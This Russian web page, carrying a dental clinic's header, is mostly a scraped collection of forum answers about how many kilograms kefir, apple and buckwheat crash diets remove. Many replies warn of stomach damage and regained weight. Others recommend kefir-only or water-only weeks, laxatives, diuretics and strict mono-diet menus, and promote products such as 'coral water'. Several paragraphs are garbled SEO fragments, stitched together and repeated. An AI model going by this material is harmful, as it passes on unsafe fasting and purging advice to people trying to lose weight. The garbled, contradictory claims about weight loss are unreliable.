Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Если пить кефир и заниматься спортом на сколько кг можно в неделю похудеть?

В неделю можно похудеть, но не более чем на 2.5 кг.

Многих женщин интересует, как пить кефир, чтобы похудеть на 12 кг за неделю?Как употреблять кефир, чтобы похудеть? Можно воспользоваться самой быстрой и действенной диетой, рассчитанной на три дня.

Все индивидуально, я вообще не могу сбросить ни полкило, хоть и кефир, хоть и спорт... хоть и диета))) попробуй, потом напишешь свои достижения

Помогает очень если кефир пить и жевать яблоки :))
спорт рулит!Только смотря какой!Чем больше нагрузки тем лучше!
А про кг, у каждого это индивидуально!Купи весы и следи за весом...думаю кг 3-4 скинешь, если усердно стараться...
еще советую витаминки пить какие нибуть...я например пью Геримакс энерджи!

Если ты собираешься пить только кефир, а больше ничего не есть - то через неделю-две у тебя будет язва. И спорт не поможет. И вообще, все эти экспресс-похудения до одного места. Мне тридцать лет и как минимум 20 из них я борюсь с лишним весом. Пей кефир вечером, а днём и утром ешь по 1 яйцу, рыбу и мясо нежирное, курицу (всё варёное и тушёное). Больше травы всякой, фруктов несладких - сейчас весна началась! Глядишь за месяц килограммов 5-7 уйдёт. И про спорт не забывай. Халахуп клёво помогает и просто ходить больше пешком. Да! И после пяти максимум не есть.

При активных физических нагрузках мучать себя еще и кефиром? Зачем? Питание должно быть полноценным. Ты уже на 2 день на кефир без слез смотреть не сможешь. Занимаясь спортом, лушче питаться рационально .

Я могу сказать точно, на себе проверено, что через 2 дня тебе проще будет вообще не есть, чем пить кефир, ты похудеешь через неделю на 2-3 кг, но на следущей неделе наберешь 4!
советую неделю есть гречку (на ночь заливаешь кипятком) , раз в день один фрукт, пить только соки и воду, а после этой недели есть в принципе все (кроме мучного, сладкого и жирного) , и не есть после 19, результат через 2 недели 5-6 кг, безопасней для организма и на более долгий срок!
а вообще могу сказать что все кратковременный диеты не дают долгого результата!

На сколько можно похудеть, если пить только кефир? Частый вопрос. Скорее всего тот, кто его, зада т, имеет ввиду кефирную диету. Я смог найти 12 вариантов этой диеты. В описаниях говорится, что можно похудеть от 3-4 кг за 3 дня до более 10кг за 21 день.

Заработайте анорексию.... мугога.. . нужно блин понять, что и в толстеньких дамах есть красота, а не только в худых анорексичных моделях.. .
хотя лишний вес вредит здоровью.. .
проще просто есть овощи и заниматься активным образом жизни и сексом...

На сколько можно похудеть на кефире за неделю?

Пара кг

На сколько можно похудеть на кефирной диете? Каждый день кефирной диеты дает потерю веса в 0,5- 1кг.Те же 1-1,5 л кефира выпиваем за день, но уже с добавлением 0,5-1 кг фруктов или овощей.

А почему никто никогда не спрашивает, насколько поправишься после этой диеты потом? Сбросите 5, поправитесь на 10. Удачи.

Кефирных диет много. На стандартной кефирной диете за неделю можно похудеть на 3-6 кг в зависимости от исходного веса. Но, как отметили предыдущие ораторы - потом и набрать еще легче.

Ни на сколько!!!

Если неделю сидеть на кефире с яблоками, на сколько можно похудеть?

Можно только желудок запороть!!!

Необычна, она уникальна и не имеет на сколько кг можнов похудеть за 3 дня в истории на кефире основа диеты бобы, овощи, фрукты и изделия из цельнозерновой муки.

На пару кило, но главное чтоб от метеоризма не разорвало

Что за дети-иди.. . Со сранья здоровье себе портят...

Смотря сколько яблок вы съедите: ) в яблоках ведь тоже есть сахар, если вы ящик съели то не похудеете. А так если всё в меру то может 1 кг, да и вообще от обмена вещества тоже зависит

Похудеете на 3-4 кг, а на следующей неделе все наберете, если не больше

4 дня пила кефир, йогурты чай, побольше воды. ела мюсли и яблоки. пока результат 2 кг

Монодиета на 6 дней. В сутки можно употреблять не более 1 кг свежих фруктов, исключив виноград и бананы.На протяжении всей диеты можно пить сколько угодно воды. В оставшиеся 6 дней на курице и овощах можно пить кефир в небольших порциях.

Нереально всю неделю только этим питаться, вредно и уже на 2 день от яблок будет воротить.
Лучше устроить разгрузочный день, раз в неделю. Заменить кефир на творог и добавить кашу на воде на завтрак лучше рис он менее жирный. И на ужин поесть творожку, а не яблоко, а то от голода будете плохо засыпать. Можно вместо яблока огурцы у них калорийность ниже 10-15 калорий против 45 у яблок, и белков в них чуть больше. И больше пить, воды.
Но повторюсь, как разгрузочный день раз в неделю это сойдет, а как постоянная диета принесет вред.

Хочешь очистить желудок? Пей 1% кефир утром и вечером, а в промежутках питайся нормально.
Хочешь скинуть вес? Меньше ешь: бери порцию, и доли её на 2 части: половину съешь, половину оставь.
А сидеть на однообразной диете подростку - это опасно для желудка.

Сколько нужно сидеть на кефире дней,чтобы скинуть 3 кг?:)

Вообще-то кефир пьют...)))

К здоровому питанию на сколько кг можно похудеть за 3 добавить дня на кефире лечение травами. Рекомендуется вам ограничить дневной прием до 300. Празднику, надеть любимое платье, вы можете перейти на питание овощами и свежим кефиром, пить много воды...

Фигня это всё.

А сколько можно кушать?

Да ты заколебала иди катайся на велике!

После 18 часов только кефир, моей подруге помогло

Забей на кефир. Принимай почаще "Сибирскую клетчатку" - больше трёх скинешь) Купить её можно в любом супермаркете в отделе диетического питания.

И я,как и многие сидела на этой диете.Сидела на ней 9 дней,причем вот что ела - 3 дня- кефир я пила 1%,но,думаю,можно чуть пожирнее -3 дня яблоки около 1 кг в день -3 дня- кефир опять же 1%,но я пила пожирнее Хочу рассказать немного о своих ощущениях.Вообще...

Осторожно! Не навредите себе!!!! А вообще, у каждого человека есть свой средний вес, перешагнуть который практически невозможно. Старайтесь просто не переедать, 1 раз в неделю белковый день, выпивайте побольше воды, и по 2 ст. ложки отрубей в день! Похудеете без вреда для организма. И конечно же спорт, как это банально не звучало!!!

Как вы относитесь к яблочно-кефирной диете? на сколько можно похудеть за эту неделю?как долго будет держаться результат?

Отличная диета! Учитывая что ни яблоки ни кефир терпеть не могу! А держаться будет до ближайшего шашлыка.

Кефирно-яблочная диета рассчитана на 3-4 дня. За это время можно похудеть на 3-4 кг.Диета строгая, менять в рационе ничего нельзя. Воду можно пить сколько хочется. 1 день 500 мл кефира, 3-4 клубня вареного картофеля.

Не люблю всё, что связано с кефиром. А на яблоках за неделю несложно заработать проблемы с желудком. Сначала боли в подложечной области, затем гастрит. Совмещать с кефиром - самое то, но не по мне. Попробуй!

Зе неделю на 3-4 кг

На сколько можно похудеть если пить 1%кефир месяц и ничего кроме него не употреблять..пить по 1.5 л??

Можно помереть...

С помощью такой кефироной и фруктовой диеты для похудения можно за три дня похудеть примерно на 3 кг.На 4,5 и 6 - 100 гр. филе курицы, которое следует отварить без соли, обезжиренный кефир сколько хочешь. Последние 3 дня.

Посмотрим как Вы хоть неделю на таком "питании" протяните....

Очень глупо. Можно просто есть все очень маленькими порциями и побольше физических нагрузок.

Если не какать каждый день мозг переключится на непослусшание вас и вы не найдете тормоз себя перед едой остановить. потому побольше упражнений просто овсянка запареная кипятком несколько черносливов печеные яблоки со сметаной хлеб с отрубями и отварная рыба и много печеных овощей салатов

Не стоит и пробовать,
можно и до больницы не дотянуть

Нельзя так делать! максимум сидеть неделю на такой диете.

Как и на сколько можно похудеть на 3-7 кг, нужно только знать как запаривать гречку.Смотрите также можно ли похудеть на гречке за 3 дня. Режим дня, как правильно приготовить гречку. Допускается выпивать в день до одного литра нежирного кефира.

Лучше к этому добавить не слабое слабительное, чтоб уж наверняка... .
ну если серьезно: причину вашей смерти вам поставит паталогоанатом
но при таком питании будет срыв систем -- в первую очередь ЖКТ, эндокринной, иммунной.. .
умирать вы будете мучительно.
стоит ли менять молодость и красоту на раннее увядание всех систем организма? чем он так провинился? любить его надо. а не мучить...

Существует масса кефирных диет, но расчитаны они максимум на неделю и ни в коем разе не ограничиваются употреблением одного лишь кефира.
но если вы задались целью похерачить себе обмен веществ, челудок и прочий ливер, вы на верном пути

Ефирную диету максимум 3 -4 дня можно держать и худеют на 3 кг за это время, а за месяц получите больше ущерба для организма чем пользы, организм не получает все что ему нужно, начнет портится кожа, ногти, волосы посыпятся

Ты на такой штуке сдохнешь через пару дней, я абсолютно серьёзно

Лучше уж ничего кроме воды не употреблять неделю... и йогой заниматься... достаточно легко пройдет

Разгрузочный день на гречке и кефире минус - 2 кг, плюс - хорошее настроение 26.Форум по теме 9 . Если голодать 5-7 дней, на сколько можно похудеть? 250.

Уж простите, не привыкли мы смотреть, как люди кончают жизнь самоубийством.. .
Посадишь на 0 метаболизм, потом наберешь много.
Но можно посмотреть на это и с другой стороны.. . Ты собираешься пить кефир, чтобы продлить жизнедеятельность своего организма, так? (потому что жизнью это уже не назовешь) . Организм всю еду (или в твоем случае, питье) перерабатывает в необходимую ему энергию. Т. е. , использует калории этой еды. В твоих 1,5 литрах кефира - 840Кк. Но сложно представить, какой голод ты будешь испытывать при этом. На эти же 840 Кк весь день можно питаться мясными кашами, мясными супами с хлебом. Вопрос: нахуя? (уж простите... ) Я на 900 Кк в день похудела на 32кг...

На сколько можно похудеть, если целую неделю пить только кефир?

Смотря какой вес изначалальный.
можно и на 7 и на 2кг

Сколько можно сбросить на экспресс-диете? Как быстро похудеть за 3 дня зимой.Чтобы быстро похудеть за 3 дня, нужно выпивать в день 1-1,5 литра кефира.Раскрываем тему Как быстро похудеть за неделю на 10 кг без вреда для здоровья.

Лучше откажитесь от фаст фуда, мучного и сладкого

А можно долго дрыстать после него. И еще в больничку загреметь!! ! Ну это если пить только его всю неделю.

Такая диета - это кошмар для организма. Потому как если к ней не подготовиться заранее (не снизить калорийность рациона хотя бы в течение недели) , то сначала вес будет стоять на месте, т. к. не привыкший к такому бедному рациону организм будет все запасать. Если же добавить к кефиру творог (хотя бы в небольших количествах) , должн быть уже лучше. Но не думаю, что получится сбросить больше 2. Это предел.

А можно и не похудеть.

Лучше не ограничивать себя настолько силно. Огранизму требуются определенные продукты и лишать его этих продуктов вредно. Лучше потреблять все то же, что и каждый день, но меньше. И кончено, отказатьсяот фастфуда и алкоголя.

Насколько можно похудеть за две недели? Похудеть на 15 кг не получится ни у кого, сколько бы вы ни старались.20.00 простокваша или кефир 1 стакан . Итак, можно ли похудеть за 14 дней?

Моя знакомая после такой диеты месяц в больнице пролежала. Ну похудела килограмм на 7,засчёт неукротимого поноса.

Не, это извательство над организмом и психикой, лучше ешьте меньше углеводов и больше занимайтесь спортом!

Лучше и не начинать, проверено. Сначала сбросите 2-3кг., а потом когда начнёте питаться как раньше наберёте 5-7 кг. Монодиета-это бумеранг всегда. Лучше один день в неделю разгрузочный или на кефире или яблоках и не есть после шести часов. За месяц 3-5 кг. уходят легко. Удачи!

Диета без нагрузок не помогает, проверенно (((

Кефирная диета на 9 дней.
Диета безусловно довольно жёсткая, однако эффективная можно сбросить до 8-9 кг. После окончания диеты следите затем что и в каких количествах вы едите, не набрасывайтесь на еду.
Первые 3 дня: весь день можно 1% кефир в любом количестве, 100 грамм отварного риса без соли.
Вторые три дня: Весь день 1% кефир сколько угодно, 100 грамм сваренного куриного филе, желательно белое мясо, сваренного опять же без соли.
Третьи 3 дня: 1% кефир целый день в любом объёме и свежие яблоки неограниченное количество.
Восьмидневная кефирная диета.
Одна из самых жёстких диет. Перед тем как перейти на неё рекомендуем проконсультироваться с врачом, если вы полностью здоровы и отлично себя чувствуете, тогда эта диета для вас. Если же есть какие либо заболевания, тогда эта диета не для вас. Нужно строго соблюдать все правила диеты, менять продукты нельзя, а тем более добавлять какие-либо ингредиенты запрещено. Воду можно пить в любых количествах.
1-ый день: 0,5л кефира, 3-4 средних картофелин
2-ой день: 0,5л кефира, 0,5кг любых сухофруктов
3-ий день: 0,5л кефира, 0,5кг творога
4-ый день: 0,5 л кефира, 0. 5 гр сметаны
5-ый день: 0,5л кефира, куриное отварное мясо 300 гр.
6-ой день: 0,5л кефира, 2кг свежих фруктов
7-ой день: 2-3 литра кефира
8-ой день: Минеральная вода
Семидневная кефирная диета.
Всю еду нужно готовить без соли и вообще каких-либо специй. Соблюдать диету можно не чаще одного раза в два-три месяца. То насколько у вас получится похудеть зависит только особенностей вашего организма. Приблизительный результат около 5 кг.
1-ый день: 1, 5 литра кефира и 5 вареных картофелин
2-ой день: 1, 5 литра кефира, 100г отварного белого куриного мяса
3-ий день: 1, 5 литра кефира, 100г вареного нежирного любого мяса, желательно говядины или телятины
4-ый день: 1,5л кефира и 100гр. вареной нежирной рыбы.
5-ый день: 1,5л кефира, овощи и некалорийные фрукты
6-ой день: 1,5-2л кефира
7-ой день: целый день негазированная минеральная вода.
Дневную норму кефира нужно разделить на равные части, и выпивать каждые 3-4 часа. Помимо этого в течении дня можно менять кефир, в один приём обычный, в другой фруктовый, в третий бифидокефир. Можно пить разную воду, кроем чая и кофе.

Считается, что сколько дней Вы будете соблюдать кефирную диету, на столько килограммов похудеете. Три дня-3 килограмма, шесть дней-шесть килограммов.В день выпивать примерно 1 литр грибкового кефира, можно вместо воды.

Как похудеть на 3кг быстро и не мучая себя - не сидеть на одной гречке, кефире и т.п.? п.

Отрезать себе что нибудь.

Adminq спросил в Разное. На сколько можно похудеть если не есть неделю?Правда сильно увлекатся ей не надо, 7 дней - кефир, потом неделю яблоки, салатики.если вы вещаете кг 120 то за неделю если ничего не есть то можно похудеть кг на 10 или более.а если вы вешаете 60...

Спорт и рациональное питание

Всё что ешь уменьшить в 2 раза. . ну и слабительного можешь попить пару дней)

Очень легко, на безсолевой диете - соль и соленые продкты исключить нужно совсем (глутамат натрия и ...натрия это тоже соль) . за первые 3-5 дней организм покинет лишняя вода, которую держит натрий. соль можно заменять уксусом или лимонным соком

Не жрать после 18.00 и больше двигаться. Проверено на себе.

Мексиканская диета: примерное меню
День первыйЗавтрак: черный несладкий кофе, апельсин, 2 яйца, вкрутую или всмятку.
Обед: 8 штук чернослива.
Ужин: апельсин, яйцо, сваренное любым способом.
День второйЗавтрак: черный несладкий кофе, 50 г сыра.
Обед: апельсин, вареное яйцо.
Ужин: стакан обезжиренного кефира, груша.
День третийЗавтрак: крепкий чай, можно с сахаром.
Обед: огурец, помидор, 50 г сыра (только не колбасного) .
Ужин: стакан молока.
День четвертыйЗавтрак: мюсли с соком-фреш.
Обед: огурец, помидор, вареное яйцо.
Ужин: 2 апельсина.

Если вам нужно похудеть на 10 кг за неделю то в день нужно сжигать 1,5 кг жировой массы, то-есть нужно сжечь 14000 калорий.Гречку также можно заливать йогуртом или кефиром. Самое главное что не нужно заправлять гречневую крупу маслом и употреблять без специй, сахара или...

Быстро на весах и в см покажет только яблочное уксусное обертывание. Ну минут 500 грамм ну это минимум, попробуйте, некоторым помогает неплохо, я делала даже частичное, только на талию и то помогло.
попробуйте этот экспресс - метод.
http://taliya . ru/obertyvaniya/uksusnye-obertyvaniya-dlya-pohudeniya.html
http://www.pohudejka.com/drugie_metodi_pochudeniya/obertivanie_uksusom

Если целую неделю пить йогурт (кефир не люблю) То можно похудеть и на сколько?

Чем больше выпьете, тем больше похудеете )))

Придерживаясь ее вы можете всего за десять дней похудеть на 10 кг за очень короткий срок.Кроме того, есть гречневую кашу можно сколько угодно. Способ приготовления кефира и гречи.

На одной родниковой воде, за неделю потеряите семь кг.

"Не все йогурты одинаково полезны". Надпись на могильной плите. (С)
В России полезных йогуртов в принципе не существует.
Да, полезней пить простую воду. 7 кг за 7 дней.

Вас просто пропоносит.

Считается, что на йогуртовой диете можно похудеть на 3-4 кг за неделю. Но в меню йогуртовой диеты еще рекомендуются 5-6 яблок на день. Если хорошо переносите йогурт, то ничего страшного за неделю не случиться.

На сколько кг. можно похудеть за неделю,если пить только кефир?

Если пить кефир и есть все подряд.. . Ни на сколько!!!!

Разгрузочные дни. Сбросить 2 килограмма за неделю можно с помощью разгрузочных дней. Проведите 2-3 дня на кефире 1,5-2 литра в день , яблоках 1-1,5 кг или твороге 1 кг и вы быстро похудеете.За сколько недель можно похудеть на 10 кг.

Можно и на 5, но они быстро вернутся

У меня муж сидел на кефире - набрал 3 кг. Не майтесь глупостью, лучше неделю побегайте.

Кароч. Я па сваему опыту - пахудеть можна кила на три-четыре.. . Если вечером проста алкагаль пить, а утрам - кефир, то пивное пузение значительна уменьшаится.

Все зависит от твоего организма, у каждого по разному, кто на 3кг, а кто и на 5-6 кг, но этот метод действительно не очень эффективен - вес возвращается, это так если уже плотно джинсы застегиваются то можно пару дней на кефире посидеть
.

Да, 5 кг вполне реальный результат, но роль тут играет вес, чем больше лишнего веса тем лучше будет результат! А то что кг вернутся.. . тут дело только за вами и вашей силой воли, если захотите - результат удержите и даже сможете потерять больше! Удачи в этом нелегком вопросе :)

За эту неделю можно поправиться на 1 килограмм, но зато вторая часть диеты позволит похудеть ещеНежирный творог до 1 кг , 1 литр минералки, пол-литра кефира. День шестой сметанный.Сколько килограммов можно сбросить благодаря кефирной диете Долиной?

Лучше купите абонемент в тринажерку)))))

Если пить кефир и не есть ничего ? -то будет гастрит или панкреатит как у меня > <
вообще лучше позавтракать нормально .на обед съесть суп. а вот на ужин можно кефир и что -нибудь еще.. но не яблоки и не лимоны. они содержат кислоту и есть захочется. конечно же еще надо спортом заниматься. обруч крути, приседай, бегай.

Можно похудеть очень быстро, но когда-нибудь придётся возвращаться к обычной жизни и итогом такого экстримального похудения будет ещё больший вес, чем изначальный.

5 скорее всего скинешь

На сколько кг можно похудеть за 3 дня если только пить 1 % кефир 500 мл. и воду?

На 1 кг, за счет выведения шлаков

С утра поем, сколько смогу, запью кефиром, на обед с собой возьму пару ложек и вечером доедаю. На самом деле, мне легко дается такая разгрузка один день в неделю можно и потерпеть, оставить себе вкусняшку, которую родныеВ итоге за 2 недели я похудела на 3 кг.

Я 2 два дня назад слезла с кефирно-гречневой диеты (1 стакан гречки варила+литр кефира 1% в день выпивала) - за 5 дней диеты сбросила 5 кг ! (рост 176, вес был 75, сейчас 70)

Ага, потом только все обратно вернется, да и не забудь находиться где-то поблизости от туалета ))

Я на нервной почве не ела 4 дня, только пила воду и кефир, сбросила 5 кг.

Да, килограмма на 3 можно похудеть.

Можно и загнуться...

Последние три дня. Сколько угодно ешьте яблок и обезжиренного кефира. За девять дней такой диеты можно похудеть на пять-шесть килограммов. Диета трудная, но, при желании, выдержать можно.

За неделю на гречке с кефиром на сколько можно похудеть?

На 3-7 кг

Кефирная диета на 7 дней позволяет похудеть до 6-8 кг за неделю, при чем всю эту неделю Вы не будете испытывать чувства голода, а это, согласитесь, один из важнейших факторовЕго можно употреблять не более 2-х литров в день. Однако это должен быть кефир 1% жирности.

Где то на 3-4 килограмма, но лучше так конечно не худеть!!!!

Кг 5 сбросишь я думаю))

Смотря сколько выпивать кефира будешь и гречки кушать. Если по 10 кг в день - то ты не только не похудеешь но и потолстеешь! Считай калории и ешь определенными порциями. (человеку чтобы похудеть достаточно 1000 ккал в день. кг не возвращаютя)

РЕбята! На сколько можно похудеть если 5 дней пить один кефир?

На 3-4 кг можно и больше

Можно ли похудеть с Luxury MagnetDiet? Эффективен ли гель Лошадиная сила для похудения? Как мужчина похудел на 40 кг за 4 месяца история.напишите пожалуйста что вы кушаете в течении дня и по сколько пьете кефира??

1-2 кг и то за счёт воды, а не истинного веса организма.

На 10 процентов от начального веса

Вес может уйти на 5-10 процентов--а потом так же быстро и прийдет--работает формула-чем медленнее вес уходит тем медленнее возвращается

Попробуйте лимонную диету, за неделю 4кг, за 2 до 8-10. и вес долго не возвращается, правда изжога

Примерно 4 кг

Минус 4 кг за 3 дня. Как быстро похудеть? Лишние килограммы проблема многих, отСодержащиеся в кефире молочные дрожжи наделяют его неповторимым вкусом и ароматом, аПри помощи кефирных диет можно избавиться от лишней жидкости в организме, а значит, и...

Пожалейте свой желудок, он вам ещё может пригодиться.
Да и потом, сколько бы вы не сбросили, всё к вам обязательно вернётся как только вы начнёте нормально питаться.

На сколько можно похудеть за 20 дней,сидя на кефире?

На 5 кг, через 10 дней ты уже сидеть не сможешь, только лежать.

Кефирная диета Института питания. Длится диета двадцать один день. За эти дни можно избавиться от 10кг.Калькулятор калорий онлайн Узнай сколько ты ешь, много разных продуктов и блюд. Похудей за 3 дня на 5 кг на кефире Кефирная диета на 3 дня.

Сидя на много если пить его то чуть поменьше

А вы уверенны что сможете?

Боюсь на 3-ий день взвоете.

Правильнее будет на сколько заболеть за 20 дней - это не нормально, такой стресс оранизму я бы не советовала....

Это мотря на каком кифире.... Кефир разный бывает есть жирный 3,2%жирности он густой, от него наоборот поправляешься оч хорошо! А бывае кефир 0,5 жирности он почти как вода, не жирный. Всё ещё завитесь от кол-ва потребляемого кефира, можно пить по 200гр, а можно и 5 литров в день, )) Я когда работал на молкомбинате много пил кефира по 3-5литров за смену и йогуртов, вес набрал аж 18кг за пол года...))))

Похудеть за 3 дня можно только на экспресс-диете.За 3 дня из вас уйдет только до 0,3 кг жира - все остальное - вода и содержимое кишечника.Оно то может и поможет,но только полным или тучным людям...Я вот третий день кроме кефира ВООБЩЕ ничего не ем и не пью...

Знаю по собственному опыту, что пить только кефир больше 2 дней, опасно для желудка. Начались колики и боли в желудке, гастрит заработала, и есть вообще не могла ничего долго. . Так что не увлекайтесь, теперь если пью кефир то по 1 стакану на ночь, и можно 1 день только разгрузочный день делать!
Так что будьте осторожны!

На больницную койку схудаете через 12 дней с диагнозом гастрит при повышенной кислотности выйдете с больбнице а там и гастроэзофлюктора не долеко и потом на всю жизнь колека.... из-за 8кг на попе или бедрах.. . стоит ли так жертвовать? лучше смените диету на нормальную

7-10 кг. Вообще сидеть не так уж и сложно, главное первые 5 дней продержаться (а это ой как не легко!).

Кто нибудь похудел на гречке с кефиром?На сколько кг и сколько дней её ели?

Моя подруга не похудела на ней

Вот интересно, если сидеть на кефире 3 дня-сколько может уйти? кто-то пробовал?Комментарии. 3 дня на белках и 2-3кг точно уйдет!!! да и сытно очень...обезжиренный творогпонравится, можете продолжить белковую диету, дней за 10-14 можно отлично похудеть на ней...

Расскажите что это за диета такая?

Как положено неделю, только кефир и гречка+ 1 яблоко. первый раз ушло 3 кг, второй 1 кг

Сидела я на гречке эффекта никакого, только желудок посадила.

Здравствуйте! Я пчеловод. И вот что хочу Вам посоветовать. Купите пыльцу гр. 200,сухую или свежую всё равно, только хранение разное. Пейте её 1ч. л. на тощак с утра за 30 мин до еды, не запивая а рассасывать. Вопервых это живые комплексные вмтамины, для иммунки. Во вторых она нормализует обмен веществ. Похудеете за месяц на 4-5 кг. НО! первые дни будет очень мучить голод и если вы справитесь, то у вас всё получится. Попробуйте не пожалеете. Удачи!!!

Похудеешь ну потом моментом наберешь

Похудение на кефире происходит быстро за 5 дней можно потерять 4 кг Пить можно любой жирности В краткие сроки очищается ЖКТ уходит лишний вес объемы.На сколько реально похудеть, если пить один кефир в течение 20 дней и заниматься 2 раза в неделю по часу???

Похудеешь, но нужна такая сила воли! Я больше 3 -х дней не выдержала!

На сколько можно похудеть на кефирно-огурцовой диете?

На сколько угодно. Смотря сколько выдержите.
Не забывайте периодически разбавлять диету кашами, нежирным мясом, фруктами-овощами.
И постоянно принимать поливитамины

Если вы дня три побудете на кефирной диете, то ты может и сбросишь, но явно устроишь себе проблемы с желудком!!!!Лучше всего не есть после 6. Можно посидеть ещ на кефире с геркулесом. Я за 2 недели похудела на 5 кг.

Если пить только кефир всю неделю можно ли похудеть и на сколько?

Можно только обдристацоо) килограмма 2 сбросите...

На сколько можно похудеть за определенный, желательно короткий, период времени и опасна ли быстрая потеря веса для здоровья?На протяжении всего дня предлагается съесть до 2-х кг. огурцов и выпить 1 -1.5 литра кефира.

Это нужно спросить у Долиной. Она худела на кефире. Но если сидеть на нём неделю, думаю, что будут проблемы и с желудком, и с кишечником.

Да так и сдохнуть можно.... навсегда)))

..есть ещё понятие как клизма, потом чаи специальные.. диеты там например с 12 продуктов.. или где есть только гречка... и. т. д

Можно похудеть на 2-3 кг. , а затем сорваться - нажраться, как свинья и поправиться на 4-5 кило....: -)

Можно заработать гемморой по колено)))

Многих женщин интересует, как пить кефир, чтобы похудеть на 12 кг за неделю?Как употреблять кефир, чтобы похудеть? Можно воспользоваться самой быстрой и действенной диетой, рассчитанной на три дня.

Зая, позвони Гене Малахову!

Будет повышен белок в крови и гастрит схватишь-не экспериментируй со здоровьем?

Можно, значительно

До 5 кг в зависимости от вашей фигуры веса жизни и тд

Если есть желане похудеть, то начните пить коралловую воду. Она сама отрегулирует Ваш вес.

На сколько можно похудеть, если пить только кефир? Частый вопрос. Скорее всего тот, кто его, зада т, имеет ввиду кефирную диету. Я смог найти 12 вариантов этой диеты. В описаниях говорится, что можно похудеть от 3-4 кг за 3 дня до более 10кг за 21 день.

На сколько можно похудеть за неделю если питаться только 1% кефиром и мочегонным???

Мочегонными можно сердце посадить. Ну может заодно и похудеете. Читайте Малышеву: чтобы худеть - надо есть.

На сколько можно похудеть на кефирной диете? Каждый день кефирной диеты дает потерю веса в 0,5- 1кг.Те же 1-1,5 л кефира выпиваем за день, но уже с добавлением 0,5-1 кг фруктов или овощей.

Реально умереть можно, но не похудеть!

Света, голодать не обязательно. Достаточно перейти на раздельное питание. А вместо мочегонного -откажитесь от соли. 2-3кг в неделю обеспечено. Ну и один разгрузочный день на 1%кефире

А потом попасть в реанимацию с аритмией.

И похудеть и желудок посадить и сердце. -ВПЕРЁД!! ! Похудение-это ОБРАЗ ЖИЗНИ, а не ДИЕТА,

Лучше так не питаться! Есть же щадящие способы снижения веса...

Необычна, она уникальна и не имеет на сколько кг можнов похудеть за 3 дня в истории на кефире основа диеты бобы, овощи, фрукты и изделия из цельнозерновой муки.

Можна остаться без волос и сбить весь гормональный фон,
а уйдёт- то в основном лишняя жидкость, потом с голодухи ещё больше наберёшь

На сколько можно похудеть если 2 дня пить только кефир? и все!

Нельзя так питаться!

Монодиета на 6 дней. В сутки можно употреблять не более 1 кг свежих фруктов, исключив виноград и бананы.На протяжении всей диеты можно пить сколько угодно воды. В оставшиеся 6 дней на курице и овощах можно пить кефир в небольших порциях.

Кило 2 скините, но они быстро вернуться

На 2-3 кг

Бедный твой организм

Смотря какой у вас вес изначально! если избыточного много (более 15 кг) , то можно 3 кг сбросить спокойно, а то и больше! а если лишнего веса 4-5 кг и вы считаете себя "толстой", то максимум 1 кг!

Ни на сколько. можно даже наоборот поправиться - организм не сможет резко похудеть, он сначала будет сопротивляться и жировые клетки могут начать увеличиваться в размере - пухнуть с голода) ) да и во время долгих диет должно пройти не менее 1.5 месяца чтобы увидеть начало худения. нужно сбросить резко пару кг? -прими слабительное))))

К здоровому питанию на сколько кг можно похудеть за 3 добавить дня на кефире лечение травами. Рекомендуется вам ограничить дневной прием до 300. Празднику, надеть любимое платье, вы можете перейти на питание овощами и свежим кефиром, пить много воды...

2-3 кг, только не надо сразу после этого жрать как свинья

Да завтракай как следует )) и в обед покушай.... а вечером пей кефир и похудеешь быстро

За 2 дня уйдет только вода из организма

Погоняешь водичку.. . 2-3 кг

На сколько можно похудеть на 3-х дневной кефирной диете?

Оно разве помогает?

И я,как и многие сидела на этой диете.Сидела на ней 9 дней,причем вот что ела - 3 дня- кефир я пила 1%,но,думаю,можно чуть пожирнее -3 дня яблоки около 1 кг в день -3 дня- кефир опять же 1%,но я пила пожирнее Хочу рассказать немного о своих ощущениях.Вообще...

2-3 килограмма.

3-5кг, а вернётся раза в 2 больше

Больше 1 дня не рекомендуется

Если 10дней пить кефир и кушать овощи/фрукты на сколько можно похудеть?

4-5 кг и больше возможно
Я сидела на диете по калорийности чуть больше, чем эта. Еще я не работала, дома сидела, то есть энергию почти не тратила. Сбросила за 12 дней 3 кг. В вашем случае калорийность меньше, если еще и 1% кефир будете пить, то больше скинете. Если еще и работаете, соответственно, еще больше скинете.
Но имейте в виду, что это достаточно стрессово для организма, хотя бы постепенно садитесь на эту диету.
А чтобы мозги продолжали соображать, ешьте мед чуть-чуть. Сладкое нельзя по правилам этой диеты, мед он на фигуру не влияет, а мозгу полезен будет.

Кефирно-яблочная диета рассчитана на 3-4 дня. За это время можно похудеть на 3-4 кг.Диета строгая, менять в рационе ничего нельзя. Воду можно пить сколько хочется. 1 день 500 мл кефира, 3-4 клубня вареного картофеля.

Всё индивидуально.

Не знаю мне кажется можно сойти с ума хотя бы рыбку на пару включите в рацион все зависит от обмена веществ некоторые 10 в неделю а можно вообще не похудеть:)

Зависит от фруктов и овощей! если запивать кефиром бананы и виноград ничего не получится!

Зависит от изначального веса в первую очередь (чем больше вес, тем больше потеря) . Ориентировочно можно потерять женщинам от 3-4 кг (гарантированный минимум) , мужчинам от 4-5 кг (имхо) , т. к. у мужчин метаболизм интенсивнее на 10-15%

Не все овощи способствуют похудению. Вот например, варёная морковь наоборот способствует набиранию в весе))) )
кисло-молочные продукты... это хорошо (если низкая жирность)
Только... я не думаю. что 10 дней... надо сидеть на этой "почти" моно диете... Лучше менять... и больше движения... Плавайте и всё будет в порядке!

С помощью такой кефироной и фруктовой диеты для похудения можно за три дня похудеть примерно на 3 кг.На 4,5 и 6 - 100 гр. филе курицы, которое следует отварить без соли, обезжиренный кефир сколько хочешь. Последние 3 дня.

Поносом всю жидкость вынисите из организма- встанете на весы - кг минус, начнете жить как обычно все вернется. НЕ СКИДИВАЮТ ДИЕТАМИ ВЕС!

Я сидела 7 дней на кефире и ничего больше не ела, похудела на 7 кг...

Это смотря сколько овощей, фруктов и кефира есть. Можно и поправиться.

Подскажите хорошую диету. хочу похудеть на 2-3 кг

Занимайся спортом.. а не сиди на всякой дряни..

Как и на сколько можно похудеть на 3-7 кг, нужно только знать как запаривать гречку.Смотрите также можно ли похудеть на гречке за 3 дня. Режим дня, как правильно приготовить гречку. Допускается выпивать в день до одного литра нежирного кефира.

Секс

Японка.. а вообще все диеты одинаковые.. .
не есть до 12 и после 6....и только овощи....

